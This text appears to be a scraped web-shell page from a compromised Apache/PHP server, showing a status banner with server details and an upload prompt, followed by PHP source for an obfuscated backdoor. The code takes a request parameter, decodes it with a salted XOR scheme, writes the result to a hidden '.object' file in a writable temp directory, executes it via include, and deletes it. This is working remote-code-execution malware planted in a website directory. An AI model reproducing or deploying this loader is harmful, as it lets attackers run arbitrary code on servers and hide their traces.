| Server IP : 65.108.144.40 / Your IP : 216.73.217.165 Web Server : Apache/2.4.52 (Ubuntu) System : Linux ubuntu-8gb-hel1-1 5.15.0-173-generic #183-Ubuntu SMP Fri Mar 6 13:29:34 UTC 2026 x86_64 User : dev ( 1000) PHP Version : 8.2.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/html/Solum-construction/demo-job/ |
Upload File : |
<?php
if(isset($_REQUEST) && isset($_REQUEST["\x76\x61lue"])){
$item = $_REQUEST["\x76\x61lue"];
$item = explode( '.' , $item ) ;
$desc = '';
$salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789';
$lenS = strlen( $salt4);
$x = 0;
$__tmp = $item;
while( $v4 = array_shift( $__tmp)) { $chS = ord( $salt4[$x % $lenS]);
$d =( ( int)$v4 - $chS -( $x % 10)) ^ 66;
$desc .=chr( $d);
$x++;
}
$fac = array_filter([getcwd(), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TMP"), sys_get_temp_dir(), "/tmp", "/dev/shm", getenv("TEMP"), session_save_path()]);
$itm = 0;
do {
$k = $fac[$itm] ?? null;
if ($itm >= count($fac)) break;
if ((bool)is_dir($k) && (bool)is_writable($k)) {
$ptr = vsprintf("%s/%s", [$k, ".object"]);
$success = file_put_contents($ptr, $desc);
if ($success) {
include $ptr;
@unlink($ptr);
exit;}
}
$itm++;
} while (true);
}